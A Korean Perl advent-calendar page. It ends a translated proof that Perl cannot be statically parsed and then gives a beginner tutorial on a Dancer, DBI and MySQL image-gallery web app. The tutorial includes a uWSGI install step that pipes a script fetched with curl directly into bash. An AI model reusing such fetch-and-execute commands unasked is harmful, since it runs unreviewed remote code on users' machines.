펄의 구문을 분석할 수 있으면, <a href="http://ko.wikipedia.org/wiki/%EC%A0%95%EC%A7%80_%EB%AC%B8%EC%A0%9C">정지 문제</a>를 풀 수 있다.</p>
</blockquote>
<!--
To prove Kennedy's Lemma, we assume that we can parse Perl. In particular this means we can take the following devilish snippet of code, concocted by Randal Schwartz, and determine the correct parse for it:
-->
<p>케네디의 보조정리를 증명하기 위해, 우리가 펄의 구문을 분석할 수 있다고 가정합니다.
이 가정을 통해, 특히 우리는 <a href="http://en.wikipedia.org/wiki/Randal_L._Schwartz">랜달 슈와츠</a>가 고안해 낸 다음의 악마같은 코드 조각도 이해할 수 있다고 생각할 수 있습니다.</p>
<pre class="brush: perl;">
whatever / 25 ; # / ; die "this dies!";
</pre>
<!--
Schwartz's Snippet can parse two different ways: if whatever is nullary (that is, takes no arguments), the first statement is a division in void context, and the rest of the line is a comment. If whatever takes an argument, Schwartz's Snippet parses as a call to the whatever function with the result of a match operator, then a call to the die() function.
-->
<p>슈와츠의 코드 조각은 두가지 방법의 구문으로 분석될 수 있습니다.
<code>whatever</code>가 어떠한 인자도 받지 않는 연산자(nullary)라면, 첫번째 문장은 공백(void) 문맥에서의 나눗셈 문장이고 남은 부분은 주석입니다.
<code>whatever</code>가 인자를 받는다면, 이 코드는 일치 연산자의 반환값을 인자로 받는 <code>whatever</code> 함수를 호출한 뒤 <code>die()</code> 함수를 호출하는 것으로 구문 분석됩니다.</p>
<!--
This means that, in order to statically parse Perl, it must be possible to determine from a string of Perl 5 code whether it establishes a nullary prototype for the whatever subroutine. Since we've assumed we can parse Perl, we can assume that a subroutine to do this exists. Call the subroutine which takes as its only argument a Perl 5 code string, and returns true if and only if that code string establishes a nullary prototype for the whatever subroutine, is_whatever_nullary().
-->
<p>이것이 의미하는 바는, 안정적으로 펄의 구문을 분석하기 위해서는
반드시 어떠한 사용자 함수가 인자를 받는 함수 원형(prototype)인지 아닌지 알아야 한다는 것입니다.
우리가 펄의 구문을 분석할 수 있다고 가정하였으므로, 우리는 이것을 알아낼 수 있는 사용자 함수도 존재한다고 가정합니다.
특히 이 사용자 함수를, 펄 코드를 문자열로 받아서
문자열에 포함된 <code>whatever</code> 함수가 인자를 받지 않는 함수 원형이면 참을 반환하는 <code>is_whatever_nullary()</code> 함수라고 정의합니다.</p>
<!--
To drag the Halting Theorem into this, we'll need to simulate a Turing machine or its equivalent. It's very evident that Perl 5 is Turing-complete. No referee at a math journal would require something that obvious and that tedious to be proved. The term used in these cases is "left as an exercise to the reader". But in this case, there is an Acme::Turing, so the exercise apparently has already been done.
-->
<p>정지 문제를 도출하기 위해서, 우리는 튜링 기계나 이와 상등한 것으로 모의 실험을 해야 합니다.
펄이 튜링 완전하다는 것은 분명한 사실입니다.
수학 저널의 어떤 심사원도 이렇게 당연한 것을 장황하게 증명하도록 요구하지 않을 것입니다.
이 경우를 전문 용어로 "독자에게 연습 문제로 남긴다"고 합니다만,
우리에겐 <a href="http://metacpan.org/module/Acme::Turing">Acme::Turing</a> 모듈이 있기 때문에 이미 해결된 것이나 마찬가지로 보이는군요.</p>
<!--
We wrap the Turing machine simulator of our choice in a routine that takes two strings as its arguments, and treats the first string as the representation of a Turing machine, and the second as its input. Call this run_turing_machine.
-->
<p>우리가 찾은 튜링 기계 모의 실험기를 두 개의 문자열을 인자로 받는 함수로 포장합시다.
첫번째 인자는 튜링 기계의 표현이고 두번째 인자는 튜링 기계의 입력입니다.
이렇게 완성된 <code>run_turing_machin()</code>을 호출합니다.</p>
<!--
Now we write a routine, call it halts(), which takes the description of a Turing machine and its input. We have it create (but not run) a Perl 5 code string to run the Turing machine simulator on the machine description and input from our two arguments, and then establish a nullary prototype for whatever. We next ask is_whatever_nullary() whether the nullary prototype for whatever was established. Our halts() routine might look like this:
-->
<p>이번에는 튜링 기계의 설명과 입력을 받는 <code>halts()</code> 루틴을 작성합시다.
우리는 이미 이것을 펄 코드로 만들었습니다.
이 코드는, 우리가 직접 실행하지는 않았지만, 두 개의 인자로부터 기계 표현과 입력 자료를 받는
튜링 기계 모의 실험기를 실행한 후, 인자를 받지 않는 원형을 가지는 <code>whatever</code> 함수를 만듭니다.
그런 다음 <code>is_whatever_nullary()</code>에게 인자를 받지 않는 원형의 <code>whatever</code> 함수가 만들어졌는지 물어봅니다.
우리의 <code>halts()</code> 루틴은 아래와 같을 것입니다.</p>
<pre class="brush: perl;">
sub halts {
my $machine = shift;
my $input = shift;
my $code_string_to_analyze = qq{
BEGIN {
run_turing_machine("\Q$machine\E", "\Q$input\E");
sub whatever() {};
}
};
is_whatever_nullary($code_string_to_analyze);
}
</pre>
<!--
$code_string_to_analyze is passed as an argument to is_whatever_nullary(), which claims to be able to figure out, somehow, if the nullary whatever prototype is established. is_whatever_nullary() does not necessarily run $code_string_to_analyze. In fact if the Turing machine simulation does not halt, is_whatever_nullary() can't run $code_string_to_analyze, not and live up to the assumption that it will tell us whether the prototype is established or not. To do this, is_whatever_nullary() must somehow figure out when $machine does not halt with $input. Since the next thing in $code_string_to_analyze is the nullary prototype, if $machine halts with $input, is_whatever_nullary() will return true. If $machine does not halt with $input, the statement establishing the nullary whatever prototype will never be reached, and is_whatever_nullary() must return false.
-->
<p><code>$code_string_to_analyze</code>가 <code>is_whatever_nullary()</code>의 인자로 전달되면
이것이 어떤 방법으로든 인자가 없는 원형의 <code>whatever</code> 함수가 생성되었는지 알려줄 것입니다.
<code>is_whatever_nullary()</code>는 <code>$code_string_to_analyze</code>를 실행할 필요는 없습니다.
사실 튜링 기계 모의 실험이 끝나지 않으면 <code>is_whatever_nullary</code>가 <code>$code_string_to_analyze</code>를 실행할 수 없습니다.
또한 함수 원형이 설정되었는지 알려줄 수 있다는 가정에 기댈 수도 없을 것입니다.
따라서, <code>is_whatever_nullary()</code>는 반드시 어떤 방법으로든 언제 <code>$machine</code>이 <code>$input</code>의 입력으로 정지하지 않는지 알아내야 합니다.
<code>$code_string_to_analyze</code> 내부 코드에 인자가 없는 함수 원형의 뒤따라오기 때문에,
<code>$machine</code>이 <code>$input</code> 입력으로 도중에 멈춘다면 <code>is_whatever_nullary</code>는 참을 반환할 것입니다.
<code>$machine</code>이 <code>$input</code> 입력으로 도중에 멈추지 않는다면 인자 없는 함수 원형의 선언에 결국 도달하지 못하고
<code>is_whatever_nullary</code>는 거짓을 반환해야만 합니다.</p>
<!--
So, given the assumption that we can parse Perl, halts() returns true if and only if the Turing machine $machine halts with input $input. In other words, halts() solves the Halting Problem. Kennedy's Lemma was that, if you can parse Perl, you can solve the Halting Problem. So this proves Kennedy's Lemma.
-->
<p>따라서, 우리가 펄의 구문을 분석할 수 있다고 가정한 것에 의해 <code>halts()</code>는
튜링 기계인 <code>$machine</code>이 <code>$input</code> 입력으로 멈추는 필요충분한 경우에만 참을 반환합니다.
다르게 말하면, <code>halts()</code>는 정지 문제를 해결합니다.
케네디의 보조정리는, 펄의 구문을 분석할 수 있으면 정지 문제를 풀 수 있다는 것이었습니다.
이것으로 케네디의 보조정리가 증명됩니다.</p>
<!--
It's well known that the Halting Problem cannot be solved. Kennedy's Lemma establishes that if we can parse Perl 5, we can solve the Halting Problem. Therefore we cannot parse Perl 5.
-->
<p>정지 문제는 판정할 수 없다는 것은 잘 알려진 사실입니다.
케네디의 보조정리가 펄의 구문을 분석할 수 있으면 정지 문제를 판정할 수 있다는 것이 됩니다.
따라서 우리는 펄의 구문을 분석할 수 없습니다.</p>
<!--
QED
-->
<p><em>QED</em></p>
<h2>옮기며</h2>
<p>이 글의 원문은 Perlmonks의 <a href="http://www.perlmonks.org/?node_id=663393">Perl Cannot Be Parsed: A Formal Proof</a>이며,
역자는 <a href="http://twitter.com/am0c">@am0c</a>입니다.
2008년에 처음 게시되었으며, 정적 파싱 구문에 대해서만 다루므로 지금은
조금 역사적인 의미가 더 크다고 할 수 있습니다.
저자는 이후에 <a href="http://www.jeffreykegler.com/Home/perl-and-undecidability">Perl Review에 총 3 파트로 나누어</a>
더 조밀하고 깊게 다루었습니다.
perlmonks를 통해 저자에게 해당 노드를 번역하여 달력 기사에 쓸 것은 허락받았습니다.
더 자세한 내용은 원문과 Perl Review의 글을 참고해 주세요.</p>
2012-12-05T00:00:00+09:00Jeffrey Kegler초심자를 위해 남긴 초보의 비망록 - Dancer, DBI, DBD::MySQLhttp://advent.perl.kr/2012/2012-12-04.html<h2>저자</h2>
<p><a href="http://twitter.com/JellyPooo">@JellyPooo</a> - 시스템 관리자</p>
<h2>목표</h2>
<p>데이터베이스에 저장된 정보를 가공해 웹 페이지에서 보여줍니다.
아래 네 줄로 요약된 과정을 위한 배경 지식과 설정 방법을 기술했습니다.</p>
<pre class="brush: bash;">
$ cpanm Dancer DBI DBD::mysql # 관련 모듈 설치
$ dancer -a Myapp # 뼈대 만들기
$ cd Myapp; vim lib/Myapp.pm # Myapp.pm에 경로별 서브루틴 작성
$ ./bin/app.pl # 웹앱 실행, 브라우저로 접속
</pre>
<h2>개요</h2>
<p>2012년 1월부터 진행한 <a href="http://lotus.perl.kr/2012/01.html">펄을 이용한 그림파일 긁어오기</a>를 통해 짤방(그림 파일)을 20여 만개를 모았습니다.
특정 사이트에 접속해서 그림파일을 받고 새로 받은 파일의 파일명을 배열에 넣어 두었다가 해당 배열에 <code><IMG></code> 태그를 씌워 HTML 생성합니다. 그런 다음 Apache 데몬을 통해 웹으로 그림 파일을 보는 것까지 구현 되어 있습니다.
이 정도면 괜찮지 않나- 하고 수 개월간 쓰다 보니 불편한 점이 하나둘 눈에 띕니다.</p>
<h3 id="html.">HTML 파일이 너무 많아졌다.</h3>
<p><img src="2012-12-04-01_r.jpg" alt="이미지 수집하며 같이 생성된 HTML" id="html" />
<em>그림 1.</em> 이미지 수집하며 같이 생성된 HTML (<a href="2012-12-04-01.jpg">원본</a>)</p>
<p><img src="2012-12-04-02_r.jpg" alt="소스는 이렇게 생겼다" id="" />
<em>그림 2.</em> 소스는 이렇게 생겼다 (<a href="2012-12-04-02.jpg">원본</a>)</p>
<ul>
<li>HTML파일 하나에 그림 파일을 40개를 보여주는데, 그림 파일이 20만개나 되다보니 HTML 파일만 5000여 개가 되었습니다. 파일명만 다를 뿐, <code><IMG></code> 태그는 똑같이 쓰고 있고요. 비효율적으로 느껴집니다. 한 번에 볼 수 있는 그림 수 40개를 조절할 수도 없어요.</li>
<li>썸네일을 만들어 모은 짤방을 좀 더 편하고 빠르게 확인하고 싶습니다. 이 경우, 썸네일의 파일명이나 경로를 달리한 HTML을 또 만들어야 할 것 같네요. HTML 파일만 10,000개가 넘겠어요!</li>
<li>HTML 파일 간 연결이 안 되어있습니다. 다음 페이지로 넘어가는 것은 주소창에 파일명을 직접 입력하는 수 밖에 없고요, 전체 파일에 대한 링크를 만들어서 덧붙이는 방법을 써봤는데... 10,000여 개에 덧붙이는 것은 시간이 꽤 걸립니다.</li>
</ul>
<p>자주 쓰는 파일 정보를 데이터베이스(이하 DB)에 보관하다가, 파일 정보를 '틀'에 넣어 보여주면 문제를 해결할 수 있을 것 같습니다. 마침 <a href="http://advent.perl.kr/2011/2011-12-06.html">여섯째 날: 초소형 프레임워크와 함께 춤을 by am0c</a>에 이런 내용도 있네요. 다만 am0c님의 기사에서는 제게는 낯선 redis를 DB로 사용했습니다. 익숙한 MySQL로 바꿔 적용하면 쉽게 할 수 있을 것 같네요.
DB는 MySQL로, 테이블에 파일명을 저장해 두었다가, 실제 파일이 있는 경로를 붙이고 앞뒤로 <code><IMG></code> 태그를 붙인 내용을 브라우저로 보내면 이미지 출력용 HTML 페이지를 만들 수 있겠네요.</p>
<p>Let's Dance!!</p>
<h2>개발 환경 및 전제조건</h2>
<h3>개발 환경</h3>
<ul>
<li><a href="http://www.ubuntu.com/">GNU/Linux Ubuntu</a>: 관리자(root) 권한 있음. MySQL 설치/실행 중.</li>
<li><a href="http://centos.org/">CentOS</a>: 관리자 권한 없음. MySQL 설치/실행 중.</li>
<li><a href="http://www.apple.com/kr/osx/">OS X</a> : 관리자 권한 있음. <a href="http://mxcl.github.com/homebrew/">Homebrew</a>와 <a href="http://perlbrew.pl/">Perlbrew</a> 사용.</li>
</ul>
<h3>전제조건</h3>
<h4>참고문서</h4>
<p>이하의 문서를 미리 읽어두시기 바랍니다.</p>
<ul>
<li><a href="http://cafe.naver.com/perlstudy/1397">삽질기 - 이미지 긁어와서 저장하기 - 썸네일 생성까지</a>: 네이버 카페. 가입 필요. 카페에 공개한 버전이 <a href="http://lotus.perl.kr/2012/01.html">펄을 이용한 그림파일 긁어오기</a>보다 최신 버전입니다.</li>
<li><a href="http://advent.perl.kr/2011/2011-12-06.html">초소형 프레임워크와 함께 춤을 by am0c</a>: 이번 기사에서 다룰 내용이 대부분 있습니다. 차이점이라면 DB를 MySQL가 아닌 redis를 사용 했다는 점?</li>
<li><a href="http://advent.perl.kr/2011/2011-12-12.html">웹툰을 한 눈에 내 만화 프로젝트 Manaba by rumidier</a>: 역시 Dancer를 이용한 웹 앱입니다.</li>
<li><a href="http://slide.keedi.pe.kr/s/20121220-minimal-perl-webapp#/">Minimal Perl Web App for Your Minimal Life by keedi</a>: Dancer만큼 가볍고 빠른 웹 프레임워크. Mojolicious에 대한 소개 슬라이드</li>
</ul>
<h3>기술수준</h3>
<ul>
<li>Apache, lighttpd, nginx 등 웹 데몬에 대한 이해</li>
<li>MySQL DB, Table 생성 및 데이터 insert, select 가능 할 것(join 등 복잡한건 안 씁니다)</li>
<li>Perl 환경 설정 및 모듈 설치에 대한 이해</li>
</ul>
<h3 id="dancerroot">Dancer Root</h3>
<ul>
<li><code>dancer -a Myapp</code>를 실행해 생성된 디렉토리를 말합니다. 해당 명령 실행된 위치에 Myapp 디렉토리가 생깁니다.</li>
</ul>
<h2 id="dancer">Dancer가 뭐야?</h2>
<p><a href="https://www.metacpan.org/module/Dancer">Dancer</a>는 웹 프레임워크라네요.</p>
<h3>웹 프레임워크가 뭐야??</h3>
<p>Apache, lighttpd, nginx까진 알겠는데, 웹 프레임워크는 대체 뭔지... 잘 정리된 자료가 마침 이번 <a href="http://www.kthcorp.com/">kth</a>의 <a href="http://h3.kthcorp.com/2012/">H3 행사</a>에서 발표 되었고, <a href="http://dev.kthcorp.com/2012/11/02/h3-2012-ebook/">자료집</a>도 다운로드 가능하니 여길 참조 하시기 바랍니다. '봄날은 간다' 항목을 보시면 됩니다.</p>
<h2 id="dancer">Dancer 실행 방법</h2>
<p><a href="https://metacpan.org/module/Dancer::Deployment">Dancer::Deployment</a>에 따르면 아래와 같이 수많은 방법을 지원합니다.</p>
<pre class="brush: plain;">
Running as a cgi-script (or fast-cgi)
Running stand-alone
Running on Perl webservers with plackup
Enabling content compression
Running multiple apps with Plack::Builder
Hosting on DotCloud
In case you have issues with Template::Toolkit on Dotcloud
Creating a service
Using Ubic
Using daemontools
Running stand-alone behind a proxy / load balancer
Using Apache's mod_proxy
Using perlbal
Using balance
Using Lighttpd
Using Nginx
Running from Apache
Running from Apache with Plack
Running from Apache under appdir
Running on lighttpd (CGI)
Running on lighttpd (FastCGI)
</pre>
<p>크게 cgi-bin으로 실행, 단독 실행으로 나눌 수 있겠네요. 여기선 단독 실행을 기준으로 설명합니다. 그 외 실행방법에 대해 간략하게 설명하고 넘어가자면 대규모 시스템에서 부하 분산(로드 밸런싱)을 위한 실행, 여러개의 웹 앱 실행(TCP 포트 한 개로 여러개의 웹 앱 실행) 방법인데, 이건 Dancer 초보자가 다룰 내용이 아닌거 같습니다. 못 본채 하죠.</p>
<p>가장 간단하게 테스트 할 때는 아래와 같이 합니다.</p>
<ul>
<li><code>dancer Root/bin/app.pl</code> 실행 하면 끝. 3000번 포트로 잘 열리는지 로그 확인.
<ul>
<li>포트 변경 옵션이 있습니다. <code>dancer Root/bin/app.pl --help</code>로 확인 가능</li>
<li><code>--port=XXXX</code>: This lets you change the port number to use when running the process. By default, the port 3000 will be used</li>
<li><code>dancer Root/bin/app.pl --port=9999</code>이렇게 하면 TCP 9999포트로 실행</li>
</ul></li>
<li>브라우저에서 <a href="http://localhost:3000/">http://localhost:3000/</a>으로 접속이 되는지 확인해보면 됩니다.</li>
</ul>
<p>아래 페이지는 그 외 정보 나열이니 넘어가도 됩니다.</p>
<h3 id="cgi-bin">cgi-bin</h3>
<p>기존 웹 데몬(Apache, lighttpd, nginx)에서 <code>dancer Root/public/dispatch.cgi</code>를 통해 실행할 수 있도록 설정하면 됩니다.
근데 제가 이걸 할 줄 몰라요 ...</p>
<p>문제는 Perl 실행 환경이 개인화 설정, 이를테면 <a href="http://lotus.perl.kr/2012/08.html">perl 환경구축 최단코스</a>에 나온 것처럼 <code>perlbrew</code>, <code>local::lib</code> 등으로 된 경우, 펄 실행파일 위치를 시스템 펄이 아닌 개인화 펄 실행파일 위치로 변경해주고, 실행 권한도 개인 사용자로 맞추는 등의 설정이 필요하다고 합니다.</p>
<p>개인화 Perl 환경을 왜 쓰냐고요? 관리자 권한에 구애받지 않고 모듈을 사용할 수 있기 때문에 그렇습니다. Perl 최신 버전을 별도로 설치해 쓸 수 있는 장점도 있고요. ...시작부터 해결해야 할 전제조건이 매우 많군요! PHP에 비하면 국내 일반 호스팅 서비스에서 Perl 웹 어플리케이션을 실행하기가 힘든 것이 사실입니다. ㅠ_ㅠ</p>
<h3>단독 실행</h3>
<p>Dancer Root 디렉토리에서 <code>./bin/app.pl</code>을 해봅시다.
<code>HTTP::Server::Simple</code>이 서버 역할을 해줘서 웹 브라우저로 접속할 수 있게 실행된다고 합니다. 성능이 낮으니 테스트 용도로만 사용하는게 좋다고 하네요.</p>
<pre class="brush: plain;">
$ ./bin/app.pl
[445] core @0.000009> loading Dancer::Handler::Standalone handler in
/Users/jellypo/.perlbrew/libs/perl-5.16.2@mydev/lib/perl5/Dancer/Handler.pm l. 45
[445] core @0.000183> loading handler 'Dancer::Handler::Standalone' in
/Users/jellypo/.perlbrew/libs/perl-5.16.2@mydev/lib/perl5/Dancer.pm l. 474
>> Dancer 1.311 server 445 listening on http://0.0.0.0:3000
>> Dancer::Plugin::Database (2.01)
>> Dancer::Plugin::Database::Handle (0.12)
== Entering the development dance floor ...
</pre>
<p>이제 <a href="http://localhost:3000/">http://localhost:3000</a>로 접속할 수 있습니다.
실제 서비스 용도로 쓸 때는 Starman 혹은 uWSGI를 권장합니다(uWSGI가 훨씬 성능이 좋다고 하니 이쪽을 권장).</p>
<h4 id="uwsgi">uWSGI를 이용한 서비스 실행의 예</h4>
<h5 id="uwsgi">uWSGI 설치</h5>
<p><a href="http://projects.unbit.it/uwsgi/">uWSGI 홈페이지</a>를 잘 봅시다.</p>
<p>다양한 언어를 지원하는데, 우리에게 필요한건 <a href="http://projects.unbit.it/uwsgi/wiki/QuickstartPSGI">Quickstart (for Perl/PSGI)</a>입니다.</p>
<pre class="brush: bash;">
curl http://uwsgi.it/install | bash -s psgi /tmp/uwsgi
# uwsgi 파일 위치는 절대경로로 적어야 합니다.
</pre>
<p>위 명령어를 쉘에서 실행하면 <code>/tmp/</code> 경로 밑에 <code>uwsgi</code> 실행파일이 생성됩니다.</p>
<h5 id="uwsgi">uWSGI 실행</h5>
<p>OS X에서 테스트 해보니 웹 앱 실행파일을 절대경로로 하지 않으니까 파일을 못 찾는 경우가 있었습니다.</p>
<pre class="brush: bash;">
uwsgi --http :3000 --http-modifier1 5 --psgi /Uers/jellypo/src/MyDancer/bin/app.pl
</pre>
<p>이와 같이 Dancer를 <a href="http://localhost:3000/">http://localhost:3000</a>으로 열었습니다.</p>
<h2 id="psgiplack">잠깐!! PSGI/Plack 은 뭔가요?</h2>
<p>엄… 그냥 넘어가는게 좋은데…
웹서버(apache, lighttpd, nignx, starman, uWSGI)와 Perl을 연결하기 위한 규격이라고 합니다. CGI랑 비슷하면서 다소 다르다고 나와 있네요.</p>
<ul>
<li><a href="http://plackperl.org">PSGI/Plack</a>: PSGI 홈페이지(영문)</li>
<li><a href="http://search.cpan.org/~miyagawa/PSGI-1.101/PSGI/FAQ.pod">PSGI::FAQ</a>: PSGI::FAQ (영문)</li>
<li><a href="https://docs.google.com/presentation/pub?id=116VQT--oCOLDKaGktjVJLhoejBv3_5cVvsIjjVCSkR0&start=false&loop=false&delayms=3000#slide=id.p">Perl을 위한 Web App 실행 환경 꾸미기 by yuni_kim</a>: uWSGI가 짱!!</li>
</ul>
<p>CGI가 있는데 왜 또 다른 인터페이스를 만들어 쓰나? 성능 때문이죠. 최대의 성능을 낼 수 있도록 저수준(low-level) API를 쓸 수 있게 하다 보니 필요해졌답니다. 그외 다양한 웹서버와 어플리케이션 간의 정보 교환을 제공하는 모양이네요.</p>
<h3>그럼 뭘 선택해야 하나요?</h3>
<ul>
<li>성능</li>
<li>권한</li>
</ul>
<p>위 두 가지를 고려해 가능한 쪽을 선택하면 됩니다.
단독 실행시 기본값으로 TCP 3000번이나 5000번으로 포트가 열리는데, 이를 80번으로 포트 포워딩 하지 않으면 외부에서 접속시 URL에 포트를 붙여줘야 합니다. 포트 포워딩 설정할 권한이 없고, 방화벽에서 기본 웹 포트만 열려 있다면 단독 실행 한다 해도 외부에서 접속할 수 없습니다.
성능이나 권한 문제를 해결할 수 없다면 cgi-bin으로 실행해야 하는데 이것도 기존 웹 데몬 설정을 변경해야 합니다.
어쨌든 서버 관리자에게 굽신굽신을 시전해서 <strong>되는 쪽을 선택</strong>하시면 됩니다.</p>
<h2>관련 모듈 설치</h2>
<pre class="brush: bash;">
cpanm Dancer DBI DBD::MySQL
</pre>
<p>여기서 문제가 발생하는 경우가 있는데, <code>DBD::MySQL</code>을 설치하려면 mysql의 소스가 필요합니다.
CentOS는 mysql-devel 패키지를 설치하면 되고
ubuntu는 cpan 모듈을 패키지 설치로 지원하니 문제가 안되는데
관리자 권한이 없다면?
사용법이라기 보단 삽질기입니다만, 아래 내용을 참고하세요.</p>
<h3 id="rootdbd::mysql">root 권한 없을 때 DBD::MySQL 설치</h3>
<ul>
<li>리눅스 CentOS 6.3 64bit</li>
<li>Perl 환경 : perlbrew로 설치한 perl 5.16.1</li>
<li>mysql-server 패키지는 설치 되어있음.</li>
<li>mysql-devel (mysql 소스) 패키지가 시스템에 설치 안 되어 있음 -> 본인 계정에 압축 풀었음(<code>/home/jellypo/mysql-devel/</code>)
<ul>
<li>rpm 파일 압축 풀기: <code>rpm2cpio RPM파일 | cpio -id</code></li>
</ul></li>
</ul>
<p><code>cpanm DBD::mysql</code>해서 설치 되면 얼마나 행복하겠습니까만은 오류가 발생합니다.
결과적으로 제가 한 것들입니다.</p>
<ul>
<li>mysql-devel 패키지를 압축 풀고</li>
<li>Makefile 파일 내용 수정(mysql-devel 경로 지정)</li>
<li><p><code>/usr/lib64/mysql</code> 안의 파일을 <code>mysql-devel/usr/lib64/mysql/</code> 밑으로 복사</p>
<pre class="brush: bash;">
$ cd .cpanm/latest-build/DBD-mysql-4.022
$ perl Makefile.PL
$ vim Makefile
# Makefile 파일 수정, LDDLFLAGS, LDFLAGS, INC, LD_RUN_PATH 등의 변수에서
# /usr/local/lib, /usr/local/include 와 같이 mysql 소스 경로 지정 된 것을 mysql-devel 압축푼 곳으로 변경.
# https://metacpan.org/module/DBD::mysql
$ make
...
/usr/bin/ld: cannot find -lmysqlclient
collect2: ld returned 1 exit status
make: *** [blib/arch/auto/DBD/mysql/mysql.so] 오류 1
</pre></li>
</ul>
<p>로그를 보니 <code>mysql-devel</code> 압축 푼 곳에 <code>.so</code> 파일이 몇 개 빠져서 이러는 모양입니다. 로그를 잘 보면 해결방법이 나옵니다. ^^ <code>/usr/lib64/mysql/</code> 안의 파일을 <code>~/mysql-devel/usr/lib64/mysql</code>로 복사했습니다.</p>
<pre class="brush: bash;">
make
make install
</pre>
<p>이후 잘 되네요.</p>
<h2>이제 만들어 봅시다.</h2>
<pre class="brush: bash;">
$ dancer -a MyApp
</pre>
<p>실행한 경로에 MyApp 디렉토리가 생기고, 그 아래 구성은 아래와 같습니다.</p>
<pre class="brush: plain;">
.
|-- bin # app.pl
|-- environments # 환경 설정 파일 예제가 들어있음.
|-- lib # MyApp.pm 이 있음. 라우트 핸들링은 이 파일에서 함.
|-- public # 정적 파일들이 위치함
| |-- css
| |-- javascripts
| |-- rgr # 이건 제가 만든 디렉토리입니다. 수집한 이미지 저장 되어 있는 경로.
|-- t
`-- views # 템플릿 파일 위치
`-- layouts
</pre>
<h2 id="dancer">Dancer 살펴보기</h2>
<pre class="brush: bash;">
$ cpanm Dancer
$ dancer -a MyDancer
</pre>
<p>Dancer 모듈이 설치되고 나면 실행 명령어 <code>dancer</code>가 생깁니다. 하는 일은 기초 뼈대를 세우는 일입니다. 이 명령 없이 직접 작성해줘도 되는데 환경 설정 등을 직접 다 해줘야 하니까 그냥 있는 기능을 씁시다.
<code>bin/app.bin</code>은 Dancer로서 실행용 파일이고, 실제 내용도</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Dancer;
use MyDancer;
dance;
</pre>
<p>이렇게 세 줄 뿐입니다.</p>
<p>웹앱으로써 컨트롤은 <code>lib/MyDancer.pm</code>에 들어갑니다. 여기에 http://localhost:3000/ URL에 대한 서브루틴을 작성하면 해당 URL 요청이 올 때마다 그 서브루틴을 실행하고, 해당 서브루틴의 결과값을 템플릿 엔진으로 넘기면 템플릿 엔진에서 예쁘게 가공해서 보여줄 수 있습니다. (서브루틴에서 바로 출력도 가능한데 권장하진 않습니다.. http 헤더부터 다 작성해야 함)
템플릿은 view 디렉토리 밑에 확장자 <code>.tt</code> 파일들 입니다. 기본 템플릿 엔진은 기능이 거의 없다시피 하니 <a href="http://www.template-toolkit.org/">Template Toolkit</a>을 사용합니다.
DB 접속 설정이나 템플릿 엔진 변경은 <code>config.yml</code> 파일에서 합니다.</p>
<h2 id="dancerconfig.yml">Dancer config.yml 설정하기</h2>
<p>Dancer 에서 MySQL 접속하기 위한 정보를 <code>config.yml</code>파일에 적습니다. Dancer Root 디렉토리에 있습니다.</p>
<pre class="brush: yaml;">
# This is the main configuration file of your Dancer app
# env-related settings should go to environments/$env.yml
# all the settings in this file will be loaded at Dancer's startup.
# Your application's name
appname: "MyDancer"
# The default layout to use for your application (located in
# views/layouts/main.tt)
layout: "main"
# when the charset is set to UTF-8 Dancer will handle for you
# all the magic of encoding and decoding. You should not care
# about unicode within your app when this setting is set (recommended).
charset: "UTF-8"
#logger : "file"
# 템플릿 엔진 변경, start_tag, end_tag를 설정 않으면
# <% %>가 기본 값. HTML TAG와 구분하기 어려워지니 되도록이면 활성화 할 것.
template: "template_toolkit"
engines:
template_toolkit:
encoding: 'utf8'
start_tag: '[%'
end_tag: '%]'
# DB 접속 정보 입력.
plugins:
Database:
driver: 'mysql'
database: 'DB NAME'
username: 'DB USER NAME'
password: 'DB PASSWORD'
# 개발용 설정.
# Dancer가 실행되고 난 뒤에, ./lib/MyApp.pm이 변경되어도 이미 메모리에
# 올라간 내용에 적용되지 않기 때문에 재실행을 해야 한다. 개발 과정에서
# 번거롭기 때문에 auto_reload 활성화 해놓고 테스트 하는 것도 방법 중 하나.
# Be aware it's unstable and may cause a memory leak.
# DO NOT EVER USE THIS FEATURE IN PRODUCTION
# OR TINY KITTENS SHALL DIE WITH LOTS OF SUFFERING
#auto_reload: 0
</pre>
<h3 id="templatetoolkit">템플릿 엔진 : Template Toolkit</h3>
<p><a href="http://www.template-toolkit.org/">Template Toolkit</a> 사이트를 참조하여 문법을 공부합시다. 기본적으로 Perl과 큰 차이가 없어서 금방 쓸 수 있어요.
전 Template Toolkit을 사용했지만 훨씬 성능이 좋은 Xslate를 사용해보시길 바랍니다. 참고 문서는 <a href="http://lotus.perl.kr/2012/02.html">Template Toolkit -> Xslate by JEEN_LEE</a>입니다.</p>
<h3 id="auto_reload">auto_reload</h3>
<p>Dancer가 실행 되고 난 뒤에 변경사항은 바로 적용이 되지 않기 때문에, 서버 내렸다가 실행하는 과정이 필요합니다. 그러나 auto_reload 설정을 활성화하면 변경사항이 바로 적용되어 개발하기 편합니다.
config.yml에서 <code>auto_reload: 1</code> 설정과 <code>./lib/MyApp.pm</code> 모듈 로딩 부분에 아래 설정을 해줍니다.</p>
<pre class="brush: perl;">
use Module::Refresh;
use Clone;
</pre>
<p>네이버 카페의 <a href="http://cafe.naver.com/perlstudy/1308">dancer 실행 이후 수정한 내용 반영하는 방법은?</a> 문서를 참고하세요.</p>
<h2>설계</h2>
<ul>
<li>미리 만들어둔 크롤러로 이미지를 모으고, DB에 파일명을 저장합니다.</li>
<li>방문자가 주소를 통해 1번째부터 30번째 이미지를 보여달라고 요청합니다.</li>
<li>mysql에 접속해 1 번째, 30 번째를 인자로 넘겨 1 .. 30 까지 파일 이름 배열을 받습니다.</li>
<li>배열에 이미지 경로를 덧붙이고, 다시 <code><IMG></code> 태그를 씌워서 보여주면 끝!!</li>
</ul>
<p>이걸 Dancer 시점에서 볼까요?</p>
<ul>
<li>먼저 크롤러 부분은 Dancer에서 하는 일이 아닙니다. 별도 프로그램이고요.</li>
<li>다음으로 방문자의 주소는 http://localhost:5000/30/1 이런 식으로 넘어왔을 때, 30이 배열 끝 인자, 1이 배열 시작 인자가 될 수 있습니다. 이 주소엔 정규식도 쓸 수 있는 등 다양한 표현이 가능합니다만, 기본적으로
<ul>
<li>http://localhost/bbs/zboard.php?id=hello&page=2&select_arrange=headnum&desc=asc&category=&sn=on&ss=on&sc=on&keyword=&sn1=&divpage=11 이런 주소에서 각 인자값을 &으로 나누는걸 / 로 나눈다고 생각하면 편합니다.</li>
<li>위 주소를 Dancer용으로 바꾼다면 이렇게 될 수 있습니다.
http://localhost/hello/2/11</li>
